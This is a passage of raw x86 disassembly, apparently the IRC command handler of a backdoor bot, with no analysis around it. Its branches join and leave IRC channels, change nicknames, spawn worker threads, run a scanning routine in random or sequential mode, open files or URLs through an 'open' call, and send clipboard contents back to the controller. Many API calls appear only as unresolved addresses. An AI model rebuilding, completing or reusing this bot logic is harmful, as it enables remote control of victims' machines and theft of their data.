[ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172B0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_4307AC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413927 loc_413911: ; CODE XREF: sub_40EE72+4AB3j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 26207A4h jmp short loc_413911 ; --------------------------------------------------------------------------- loc_413927: ; CODE XREF: sub_40EE72+4A9Dj nop call near ptr 26702AAh push eax push offset dword_432C7C jmp loc_414E02 ; --------------------------------------------------------------------------- loc_413938: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi call near ptr 27F0CC6h nop test eax, eax jz short loc_413962 push edi push offset dword_430780 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413962: ; CODE XREF: sub_40EE72+4ACFj push offset dword_431128 call sub_40AA35 pop ecx push eax jmp loc_414564 ; --------------------------------------------------------------------------- loc_413973: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415419 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413990 push offset unk_430748 jmp short loc_413995 ; --------------------------------------------------------------------------- loc_413990: ; CODE XREF: sub_40EE72+4B15j push offset unk_430704 loc_413995: ; CODE XREF: sub_40EE72+4B1Cj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139CE: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41518A add esp, 18h cmp eax, 1 push edi jnz short loc_4139F0 push offset unk_4306D0 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F0: ; CODE XREF: sub_40EE72+4B72j push offset unk_430690 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FA: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A34 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_413A4F push dword ptr [eax] loc_413A1D: ; CODE XREF: sub_40EE72+4BDBj push edi lea eax, [ebp+var_2DC] push offset dword_430664 push eax call sub_4172B0 add esp, 10h jmp short loc_413A62 ; --------------------------------------------------------------------------- loc_413A34: ; CODE XREF: sub_40EE72+4B95j push edi call dword_43AE1C cmp eax, ebx jz short loc_413A4F mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43AE24 push eax jmp short loc_413A1D ; --------------------------------------------------------------------------- loc_413A4F: ; CODE XREF: sub_40EE72+4BA7j ; sub_40EE72+4BCBj push offset dword_43062C loc_413A54: ; CODE XREF: sub_40EE72+3E2Dj ; sub_40EE72+3FBCj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413A62: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B35j ... cmp [ebp+var_8], ebx jnz loc_414AC3 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413A8C: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_4305F8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA5: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi jz short loc_413AC5 push offset unk_4305BC jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC5: ; CODE XREF: sub_40EE72+4C47j push offset unk_430578 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413ACF: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_430544 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE4: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_430E94 push eax call sub_4172B0 add esp, 0Ch jmp loc_412FD0 ; --------------------------------------------------------------------------- loc_413B32: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 pop ecx pop ecx push 1F4h call near ptr 26207A4h nop push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call dword_43AE30 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_440804[eax] nop call near ptr 28009ACh push edi call sub_41781F imul eax, 234h push edi mov dword_440804[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_4405F0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C1B call sub_416F25 cmp eax, ebx jle short loc_413C11 push eax push offset dword_4304F8 loc_413BFD: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_413C09: ; CODE XREF: sub_40EE72+3CA4j add esp, 0Ch jmp loc_41460C ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_40EE72+4D83j push offset dword_4304C0 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C37: ; CODE XREF: sub_40EE72+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E97 pop ecx pop ecx test eax, eax push esi jz short loc_413C5E push offset dword_43048C jmp short loc_413C63 ; --------------------------------------------------------------------------- loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j push offset dword_430450 loc_413C63: ; CODE XREF: sub_40EE72+4DEAj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C93 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C93: ; CODE XREF: sub_40EE72+4E03j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C37 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAF: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_430428 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413CE9: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_430DC4 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_4303F8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D05: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_4303C8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D28: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_430394 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D5B cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D70: ; CODE XREF: sub_40EE72+51BCj push 8 call sub_416FA4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 3E8h jle short loc_413DBF push ecx lea eax, [ebp+var_2DC] push offset unk_4316D8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414025 ; --------------------------------------------------------------------------- loc_413DBF: ; CODE XREF: sub_40EE72+4F18j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 64h mov [ebp+var_32C], 7 mov [ebp+var_328], 270Fh mov [ebp+arg_0], ebx jz short loc_413E30 mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E16 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DFA jmp short loc_413E30 ; --------------------------------------------------------------------------- loc_413E16: ; CODE XREF: sub_40EE72+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj ; sub_40EE72+4FA2j cmp [ebp+var_330], ebx jz loc_414039 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED2 loc_413EB0: ; CODE XREF: sub_40EE72+505Ej cmp eax, ebx jz short loc_413ED2 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EB0 loc_413ED2: ; CODE XREF: sub_40EE72+503Cj ; sub_40EE72+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push edi push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A push offset byte_436EDC push offset aF ; "#f" call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3C push offset aF ; "#f" lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_413F42 ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_40EE72+50B1j mov [ebp+var_3B4], bl loc_413F42: ; CODE XREF: sub_40EE72+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F54 mov eax, offset aSequential ; "Sequential" loc_413F54: ; CODE XREF: sub_40EE72+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_43031C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413FDE loc_413FCC: ; CODE XREF: sub_40EE72+516Aj cmp [ebp+var_300], ebx jnz short loc_413FF9 push 32h call near ptr 26207A4h nop jmp short loc_413FCC ; --------------------------------------------------------------------------- loc_413FDE: ; CODE XREF: sub_40EE72+5158j call near ptr 26702AAh nop push eax lea eax, [ebp+var_2DC] push offset unk_4315C8 push eax call sub_4172B0 add esp, 0Ch loc_413FF9: ; CODE XREF: sub_40EE72+5160j cmp [ebp+var_8], ebx jnz short loc_414018 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414018: ; CODE XREF: sub_40EE72+518Aj lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414025: ; CODE XREF: sub_40EE72+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D70 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414039: ; CODE XREF: sub_40EE72+3108j ; sub_40EE72+4FC4j push offset unk_4302D8 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_414043: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_4302A0 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4140DC loc_4140C9: ; CODE XREF: sub_40EE72+5268j cmp [ebp+var_18], ebx jnz loc_414E11 push 32h call near ptr 26207A4h nop jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140DC: ; CODE XREF: sub_40EE72+5255j nop call near ptr 26702AAh push eax push offset unk_430254 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_4140ED: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA4 test eax, eax pop ecx jle short loc_414103 push offset unk_430228 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414103: ; CODE XREF: sub_40EE72+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414126 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414126: ; CODE XREF: sub_40EE72+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx nop call near ptr 2680000h loc_41413A: ; CODE XREF: sub_40EE72+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_41414A mov esi, offset byte_42F674 loc_41414A: ; CODE XREF: sub_40EE72+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41421D loc_414207: ; CODE XREF: sub_40EE72+53A9j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h call near ptr 26207A4h nop jmp short loc_414207 ; --------------------------------------------------------------------------- loc_41421D: ; CODE XREF: sub_40EE72+5393j call near ptr 26702AAh nop push eax push offset unk_4301E0 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424D push edi call sub_41781F test eax, eax pop ecx jz short loc_41424D push edi call sub_41781F pop ecx jmp short loc_414252 ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: sub_40EE72+53C5j ; sub_40EE72+53D0j mov eax, dword_42F5B0 loc_414252: ; CODE XREF: sub_40EE72+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414285 lea eax, [ebp+var_680] push esi push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4142B0 ; --------------------------------------------------------------------------- loc_414285: ; CODE XREF: sub_40EE72+5400j lea eax, [ebp+var_3FC] push 104h push eax nop call near ptr 26207EAh push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142B0: ; CODE XREF: sub_40EE72+5411j lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142DB lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142DB: ; CODE XREF: sub_40EE72+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414393 loc_41437D: ; CODE XREF: sub_40EE72+551Fj cmp [ebp+var_560], ebx jnz loc_4144E5 push 32h nop call near ptr 26207A4h jmp short loc_41437D ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_40EE72+5509j nop call near ptr 26702AAh push eax push offset unk_430198 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C3 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C3 push edi call sub_41781F pop ecx jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143C3: ; CODE XREF: sub_40EE72+553Bj ; sub_40EE72+5546j mov eax, dword_42F5B4 loc_4143C8: ; CODE XREF: sub_40EE72+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DF lea eax, [ebp+var_D8] loc_4143DF: ; CODE XREF: sub_40EE72+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414401 mov esi, offset byte_436EDC loc_414401: ; CODE XREF: sub_40EE72+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_43014C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset word_41570E push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4144CA loc_4144B8: ; CODE XREF: sub_40EE72+5656j cmp [ebp+var_560], ebx jnz short loc_4144E5 push 32h call near ptr 26207A4h nop jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_4144CA: ; CODE XREF: sub_40EE72+5644j nop call near ptr 26702AAh push eax push offset dword_430100 loc_4144D6: ; CODE XREF: sub_40EE72+3625j ; sub_40EE72+3722j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_4144E5: ; CODE XREF: sub_40EE72+3609j ; sub_40EE72+3706j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F5: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414508 push esi call sub_41781F jmp short loc_41450F ; --------------------------------------------------------------------------- loc_414508: ; CODE XREF: sub_40EE72+568Cj push 8 call sub_416FC3 loc_41450F: ; CODE XREF: sub_40EE72+5694j cmp eax, ebx pop ecx jz loc_414F47 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_41452A: ; CODE XREF: sub_40EE72+5B67j add esp, 10h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_414532: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43ACC0 cmp eax, ebx jz short loc_41454F call eax test eax, eax jz short loc_414548 push offset unk_4300CC jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_40EE72+56CDj push offset unk_430090 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_40EE72+56C7j push offset dword_430054 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414556: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_41457A push offset dword_430020 loc_414564: ; CODE XREF: sub_40EE72+4AFCj ; sub_40EE72+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_41457A: ; CODE XREF: sub_40EE72+56EBj push offset unk_42FFE4 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_4145A0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4145A0: ; CODE XREF: sub_40EE72+5712j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FFA4 loc_4145BD: ; CODE XREF: sub_40EE72+5A09j ; sub_40EE72+5A3Bj call sub_40BF6D add esp, 18h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4145CA: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA4 test eax, eax pop ecx jle short loc_4145DD push offset dword_42FF6C jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145DD: ; CODE XREF: sub_40EE72+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F9 push offset dword_42FF34 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145F9: ; CODE XREF: sub_40EE72+577Ej push offset dword_42FF04 loc_4145FE: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_41460C: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_414619: ; CODE XREF: sub_40EE72+3961j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414629: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E11 ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464F: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466C: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh call near ptr 2610EF3h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414695 push esi call sub_41781F pop ecx mov edi, eax loc_414695: ; CODE XREF: sub_40EE72+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AE cmp edi, 0FFFFFFFFh jnz loc_414F47 loc_4146AE: ; CODE XREF: sub_40EE72+5831j push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_42FEDC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146F1: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_42FEAC jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA4 test eax, eax pop ecx jle short loc_414738 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_42FE78 push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414738: ; CODE XREF: sub_40EE72+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414799 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414799 mov [ebp+var_46C], 1 loc_414799: ; CODE XREF: sub_40EE72+590Aj ; sub_40EE72+591Bj lea eax, [ebp+var_2DC] push offset dword_42FE40 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_41533B push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414807 loc_4147F1: ; CODE XREF: sub_40EE72+5993j cmp [ebp+var_460], ebx jnz loc_414E11 